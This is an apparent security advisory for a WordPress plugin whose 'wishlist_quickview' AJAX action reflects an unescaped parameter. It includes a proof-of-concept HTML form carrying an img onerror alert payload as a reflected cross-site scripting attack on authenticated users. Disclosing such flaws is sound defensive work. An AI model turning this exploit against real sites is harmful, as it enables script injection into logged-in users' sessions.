JSON

The plugin does not sanitise and escape a parameter before outputting it back in an attribute via an AJAX action, leading to a Reflected Cross-Site Scripting issue.

Against any authenticated user:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wishlist_quickview" />
      <input type="hidden" name="key" value='1"><img src onerror=alert(/XSS/)>' />
      <input type="hidden" name="_wp_http_referer" value="https://example.com/wp-admin/admin-ajax.php" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
